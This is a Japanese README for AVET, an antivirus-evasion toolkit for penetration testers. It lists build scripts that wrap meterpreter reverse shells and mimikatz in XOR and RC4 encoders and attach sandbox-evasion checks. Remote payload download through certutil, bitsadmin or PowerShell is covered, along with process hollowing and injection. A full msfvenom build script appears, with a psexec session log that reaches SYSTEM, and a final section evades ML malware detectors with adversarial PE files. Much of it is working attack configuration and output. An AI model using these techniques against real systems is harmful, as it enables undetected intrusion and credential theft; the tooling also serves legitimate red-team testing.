
アンチウイルス回避ツール
AVETは、ペネトレーションテスターの作業を容易にし、アンチウイルス回避技術やマルウェアが使用するその他の手法を実験するために開発されたアンチウイルス回避ツールです。 v2.4の新機能や過去のバージョンアップの概要については、CHANGELOGファイルをご覧ください。
すべての技術がすべてのAVエンジンを回避できるわけではありません。ある技術やビルドスクリプトが機能しない場合は、別のものをテストしてください。 ぜひ実験してください! 結局のところ、これはツールボックスです - しかし、ハンマーを振るうのはあなた自身です。
インストール手順はKali 64bitおよびtdm-gccに適用されます!
セットアップスクリプトを使用できます:```bash ./setup.sh
これにより、wineのインストール/設定とtdm-gccのインストールが自動的に開始されるはずです。
ただし、すぐにtdm-gccインストーラのGUIを通じてクリックする必要があります。標準設定で問題ありません。
スクリプトは、一部のビルドスクリプトを使用するために必要なAVETの依存関係をインストールするかどうかも尋ねます。取得された依存関係は、avetフォルダの隣に別のフォルダに配置されます。
依存関係は以下の最新リリースを取得します。
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
何らかの理由でwineとtdm-gccを手動でインストールしたい場合:
- [How to install tdm-gcc with wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)
## Docker
Kaliを使用していない場合や、システムにMetasploitをインストールしたくない場合は、代わりにDockerコンテナを使用できます。
コンテナはMetasploitとavetをカプセル化し、サンプルは現在のディレクトリに作成されます。
geditのようなグラフィカルなテキストエディタを使用することも可能です。
コンテナのビルド:```bash
sudo docker build -t avet:v0.1 .
使用方法:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash
より良い体験のために、これをエイリアスすることをお勧めします。```bash
# In your .bash_profile, .bashrc or .bash_aliases
alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'
avet.py は、このツールの使用を支援するために設計された小さなPythonユーティリティです。
ビルドフォルダに現在存在するすべてのスクリプトを一覧表示します。1つ選択すると、スクリプトを一行ずつ実行しながら、その場で内容を変更することができます。
後者は特に便利で、fabricを介してビルドスクリプトを実行するたびに、msfvenom用の新しいLHOST変数とLPORT変数を定義できます。
デフォルトのLHOSTとLPORTの値は /build/global_connect_config.sh ファイルで定義でき、再定義しない場合はそれらが使用されます。
これらの変更は一時的なもので、行った変更はディスク上のビルドスクリプトに保存されません。 変更されたバージョンが一度実行され、実行可能ファイルが作成されます。
.| , +
* | | (( *
|'| ` ._____
+ ___ | | * |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the avet Assistant!
0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh
Which Script would you like to configure and build? Enter the corresponding number -> 43
DESCRIPTION :
Configure the Build Script
-> enable_debug_print
-> generate_key preset aabbccdd1122
Do you want to add sandbox evasions? [y/N] -> N
Executable will be created Shortly please wait.
*** ============================================= ***
.==,_
.===,_`\\
.====,_ ` \\ .====,__
--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /
|\ __ |\ \ / /|\ \ |_ \
\ \ |\ \ \ \ / / | \ _ |__|\ _|
\ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _ \ \ \
\ _\ _\ _/ / \ _\ \ __
||||||/ |___| ||
*** ============================================= ***
Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt
Your executable should be in the output folder!
</details>
## AVETの通常の使用方法
もちろん、すべてのコマンドをコマンドラインからステップバイステップで実行することも可能です。ただし、"build" フォルダには、関連するユースケース向けに事前設定されたビルドスクリプトが用意されています。ビルドスクリプト自体は、avet ディレクトリ内から呼び出されるように記述されています。```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh
/build/global_connect_config.sh ファイル内で metasploit ペイロードのデフォルトの LHOST および LPORT 値を定義できます。これらは再定義しない場合に使用されます。
2つのステップで32ビットプロセスハロウイング実行可能ファイルを生成します(build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.shの場合):
次に、ハロウイングを介して最初のステップのペイロードを配信する「ドロッパー」実行可能ファイルをビルドします:
これにより、2層の環境チェックと暗号化が施されたmeterpreterペイロードが得られ、任意のプロセスにハロウイングされます。 ビルドスクリプトの設定は主にデモンストレーション目的ですが、ビルドスクリプトに簡単な変更を加えることで、生成された実行可能ファイルを柔軟にカスタマイズできます。
データ取得方法を切り替えることもできます:ほとんどのデータを実行可能ファイルに静的コンパイルする代わりに、powershellを介してハロウイングペイロードをダウンロードしたり、ソケットを介して復号化キーをダウンロードしたり、異なる暗号化や環境チェックを使用したりできます。
または、3回目のビルドイテレーションでさらなる回避層を追加してみてください。 またはペイロードを切り替えます。代わりにMimikatzを使用しますか? https://github.com/hasherezade/pe_to_shellcode を介してシェルコードに変換し、ビルドスクリプト内のペイロードを変更してください。
もちろん、よりミニマルなビルドを設計することもできます。1つの環境チェックのみで暗号化されていないシェルコードを実行する、あるいはshikataの50回の反復で目的を達成できるかもしれません? ニーズに合わせてビルドスクリプトを選択/変更してください。
以下に、現在同梱されているすべてのビルドスクリプトのリストを示します。名前は各スクリプトの機能を示唆しています。 詳細については、スクリプト内のコメントを参照してください。 カスタム実行可能ファイルをビルドするために、独自のビルドスクリプトを自由に変更/作成してください!
これらのメソッドはAVETのすべてのデータソースと互換性があり、ビルドスクリプトでそのまま使用できます。
いくつかの例:```
set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd
set_payload_source download_powershell set_payload_execution_method exec_shellcode64
set_key_source download_socket set_decoder xor
set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll
機能がスキップ/使用されない場合、代わりにNOPのような動作を指定する必要があります:```
set_command_source no_data
set_command_exec no_command
データはファイルから取得され、生成された実行可能ファイルに静的にコンパイルされます。 これが機能するには、データはコンパイル時にCスタイルの配列として提供される必要があります、例えば``` unsigned char buf[] = "\x00\x11\x22\x33";
#### static_from_here
データはビルドスクリプトで指定された引数から取得され、生成された実行ファイルに静的にコンパイルされます。
#### dynamic_from_file
データは実行時にファイルから読み込まれます。
#### from_command_line_hex
コマンドラインから "11aabb22.." 形式の16進数文字列としてデータを取得します。
#### from_command_line_raw
コマンドライン引数からデータを取得します。指定されたASCII文字列は生のバイトデータとして解釈されます。
#### download_certutil
```certutil.exe -urlcache -split -f``` を使用して、指定されたURIからデータをダウンロードします。
データを読み取る前に、ダウンロードしたファイルをディスクに保存します。
#### download_curl
curlを使用してデータをダウンロードします。
データを読み取る前に、ダウンロードしたファイルをディスクに保存します。
#### download_internet_explorer
Internet Explorerを使用して、指定されたURLからデータをダウンロードします。
データを読み取る前に、ダウンロードしたファイルをディスクに保存します。
#### download_powershell
PowerShellを介して指定されたURIからデータをダウンロードします。
データを読み取る前に、ダウンロードしたファイルをディスクに保存します。
#### download_socket
ソケットを使用して、指定されたURIからデータをダウンロードします。
データはメモリに直接読み込まれ、ファイルはディスクに保存されません。
#### download_bitsadmin
BITSAdmin Windowsユーティリティを使用してデータをダウンロードします。
データを読み取る前に、ダウンロードしたファイルをディスクに保存します。
### ペイロード実行方法
ペイロードの実行/配信方法。インジェクション/ホローイング方式では、インジェクションターゲットに関する追加情報が必要です。これは ```set_payload_info_source <the_info>``` で指定できます(データ取得方法を参照)。
#### exec_shellcode
C関数バインディングを使用して32ビットシェルコードを実行します。
#### exec_shellcode64
C関数バインディングとVirtualProtectを使用して64ビットシェルコードを実行します。
#### exec_shellcode_ASCIIMSF
```call eax``` を使用してASCIIMSFエンコードされたシェルコードを実行します。
#### hollowing32
新しいプロセスを開始し、元のイメージを切り取り、指定されたペイロードを新しいプロセスにホローイングします。
ペイロードは32ビット実行可能イメージです。32ビットターゲットで動作します。
#### hollowing64
hollowing32と同様ですが、64ビットターゲットプロセスには64ビットPEペイロードを使用します。
#### inject_dll
```CreateRemoteThread``` を使用して、ターゲットプロセスにDLLをインジェクションします。
32ビットペイロードは32ビットプロセスに、64ビットペイロードは64ビットプロセスにそれぞれインジェクションされます。
#### inject_shellcode
```CreateRemoteThread``` を使用して、ターゲットプロセスにシェルコードをインジェクションします。
32ビットシェルコードは32ビットプロセスに、64ビットシェルコードは64ビットプロセスにそれぞれインジェクションされます。
### 暗号化とエンコーディング
AVETは各方式に対応したエンコーダを提供しており、コンパイル/配信前にペイロードに適用できます。
実行時には、指定されたデコーダがペイロードを再度難読化解除します。
以下はRC4の例で、実行時にコマンドラインから16進数形式で復号キーを取得します。```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4
また、シェルコードをさらにエンコードせずにエンコード機能をスキップし、次のように設定することもできます:``` set_key_source no_data set_decoder none
#### xor
ローリングXOR。マルチバイトキーをサポート。
#### avet
カスタムエンコーディング。ASCII形式を再解釈。
#### rc4
RC4暗号化/復号。柔軟なキー長。
### デバッガーおよびサンドボックス回避
これらは、最終的なエンコードとペイロード実行の前に行われる環境チェックです。
好ましくない実行環境(例:AVサンドボックス)が検出された場合、実行は停止します。
現在、最大10個のチェックを任意にキューに入れることができます。同じ手法を複数回使用することもサポートされています。
キュー制限の*EVASION_ARRAY_SIZE*は、*avet.c*内で簡単に変更できます。
#### is debugger present
isDebuggerPresent() 関数を使用して、デバッガーが存在するかチェックします。
真の場合は終了します。```
add_evasion is_debugger_present
実行前に一定時間スリープします。継続時間(秒)はビルドスクリプトで指定できます。のように```
add_evasion evasion_by_sleep 3
#### pingによるスリープ
localhostに対してタイミング指定のpingコマンドを呼び出すことで、指定された秒数だけプログラムの実行を停止します。プログラムは毎秒pingを実行します。```
add_evasion sleep_by_ping 4
サンドボックスがヒューリスティックチェック時間を短縮するために fast forwarding を利用しているか確認します。ローカル時間と sleep が使用されます。``` add_evasion check_fast_forwarding
#### get tickcount
サンドボックスがヒューリスティックチェック時間を短縮するために高速フォワーディングを利用しているかどうかを確認します。稼働時間とスリープが使用されています。```
add_evasion get_tickcount
ユーザー名を取得し、与えられたユーザー名と比較します。一致しない場合は終了します。``` add_evasion has_username 'IEUser'
#### メッセージボックス
実行前にシンプルなメッセージボックスを表示します。算術問題が正しく解かれない場合、プログラムは終了します。```
add_evasion interaction_msg_box
getcharを使用して入力が届くまで待機します。``` add_evasion interaction_getchar
#### system pause
system("pause") を実行し、起動された cmd(およびメインプロセス)を任意のキー押下で待機させます。```
add_evasion interaction_system_pause
ファイルの存在を確認します。見つからない場合は実行を停止します。 ファイル名はビルドスクリプトで次のように指定できます。``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'
#### bios info
SMBIOSファームウェアテーブルを取得できるか確認します。できない場合は実行を停止します。```
add_evasion get_bios_info
任意のホスト名の解決を試みます。gethostbynameがNULL以外を返した場合、実行を停止します。 確認対象のホスト名は、ビルドスクリプトで、例えば、``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'
#### get_cpu_cores
ターゲット上のCPUコア数を確認します。指定された値よりも数が少ない場合、実行を停止します。```
add_evasion get_cpu_cores 2
ベンダー固有のMACプレフィックスを確認します。識別された場合は、実行を停止します。``` add_evasion has_vm_mac
#### has_vm_regkey
ベンダー固有のレジストリキーをチェックします。何か見つかった場合は、実行を停止します。```
add_evasion has_vm_regkey
実際には回避技術ではありませんが、コンソールウィンドウを非表示にします ;)``` add_evasion hide_console
#### インストール日
Windowsのインストール日を取得し、指定された日付と比較します。日付が一致しない場合は実行を停止します。日付はdd/mm/yyyyの形式で指定する必要があります。```
add_evasion get_install_date '24/11/2007'
実行中のプロセス数をカウントします。プロセス数が指定されたしきい値より小さい場合、実行を停止します。``` add_evasion get_num_processes 50
#### 標準ブラウザ
レジストリキーを読み取り、デフォルトブラウザを取得する。ブラウザが指定された値と一致しない場合、実行を停止する。可能な値は MSEdgeHTM、Firefox または ChromeHTML です。```
add_evasion get_standard_browser 'Firefox'
対象が属するDNSドメインをクエリします。 指定された期待するドメインに対象が存在しない場合、プログラムは終了します。``` add_evasion get_computer_domain 'domain.com'
#### 計算
Fibonacci
指定された反復回数のフィボナッチ数列を計算します。
整数の制限により、nが大きいと誤った結果を生成する可能性があります。```
# 10 iterations
add_evasion computation_fibonacci 10
時間制限付きフィボナッチ
おおよそ指定された秒数後にフィボナッチ計算を停止します。```
add_evasion computation_timed_fibonacci 20
#### フォルダなど
アーティファクトが存在するか確認し、存在しない場合は実行を停止します。パスはUnix形式である必要があります。
背景の壁紙:```
add_evasion has_background_wp
フォルダを確認してください:``` add_evasion has_folder 'C:/Users/user/Downloads/'
公開デスクトップを確認する:```
add_evasion has_public_desktop
ごみ箱の確認``` add_evasion has_recycle_bin
最近のファイルフォルダを確認```
add_evasion has_recent_files
ネットワークドライブを確認する``` add_evasion has_network_drive
### 追加のコマンド実行
最終的なサンドボックス回避機能の直後に、追加のcmd/powershellペイロードを実行する機能を提供します。
ペイロードソースはAVETのデータ取得メソッドと互換性があります。
次の例では、BITSAdminを介してpowershellペイロードをダウンロードします:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell
ファイルから生データを入力として受け取り、C配列形式に変換し、別のファイルに出力を書き込みます。 これは、static_from_fileデータ取得メソッドに正しい形式を提供するのに役立ちます。
鍵生成ユーティリティ。(暗号学的ではない)ランダム鍵を生成するか、事前設定された鍵を入力として受け取り、 生の鍵データを指定されたファイルに出力します。 これは、AVET暗号化機能に鍵素材を提供するのに役立ちます。
AVET 1.3のユーティリティで、AVETエンコーディングを実行します。
AVETはmetasploitのpsexecモジュールと互換性があります。そのためには、生成された実行可能ファイルをWindowsサービスとしてコンパイルする必要があり、これはavetsvc.cを使用して実装されています。対応するビルドスクリプトの例を考えてみましょう
build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash
cat banner.txt
. build/global_win32.sh
. build/global_connect_config.sh
LPORT=$GLOBAL_LPORT
msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt
. build/feature_construction.sh
add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'
generate_key preset aabbcc12de input/key_raw.txt
encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt
./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf
set_command_source no_data set_command_exec no_command
set_payload_source static_from_file input/scenc_c.txt
./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key
set_key_source static_from_file input/key_c.txt
set_payload_info_source no_data
set_decoder xor
set_payload_execution_method exec_shellcode
enable_debug_print to_file C:/avetdbg.txt
$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe
cleanup_techniques
そして、metasploit側では:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run
[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200
msf exploit(psexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)
msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...
meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows
敵対的サンプルとは、機械学習モデルを誤分類させるために特別に作成された入力です。
この手法を使用するには、仮想環境を作成し、requirements.txt から必要な依存関係をインストールしてください。
PEファイルに対して利用可能な、機能を保持する5つの操作は以下の通りです:

ランダムバイトが注入されたマルウェアに実用的な操作を適用するには、gen_adversarial_exe コマンドの後に、実行する操作名とファイルへのパスをパラメータとして指定します。
利用可能な操作は full_dos、extend、shift、padding、section_injection です。
例:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe
### 遺伝的最適化
ランダムなコンテンツを注入する代わりに、コンテンツを最適化して回避の確率を高めることが可能です。
オプティマイザは、グッドウェアから良性のセクションを抽出し、遺伝的アルゴリズムを使用して注入するコンテンツを最適化します。
コンテンツは、畳み込みニューラルネットワークに基づく静的機械学習検出器であるMalConvに対して最適化されます。
使用されているMalConvの実装は、[SecML Malware](https://github.com/pralab/secml_malware)ライブラリからのものです。
グッドウェアが必要であり、`input/goodware_samples`フォルダに配置する必要があります。
例えば、[DikeDataset](https://github.com/iosifache/DikeDataset)は良性の実行可能ファイルを入手するのに良いソースです。多ければ多いほど良いですが、テスト目的では100で十分です。
オプティマイザを使用するには、`$genetic_optimizer`コマンドを使用します。```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe
可能なオプション:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection
敵対的サンプル、遺伝的最適化およびMalConvの詳細はこちらをご覧ください:
- [Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection](https://arxiv.org/abs/2008.07125)
- [Functionality-preserving Black-box Optimization of Adversarial Windows Malware](https://arxiv.org/abs/2003.13526)
- [Malware Detection by Eating a Whole EXE](https://arxiv.org/abs/1710.09435)
## 詳細
---
アンチウイルス回避の基本、AVET、その他の情報についてはこちらをご覧ください(主にバージョン1.3向け):
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)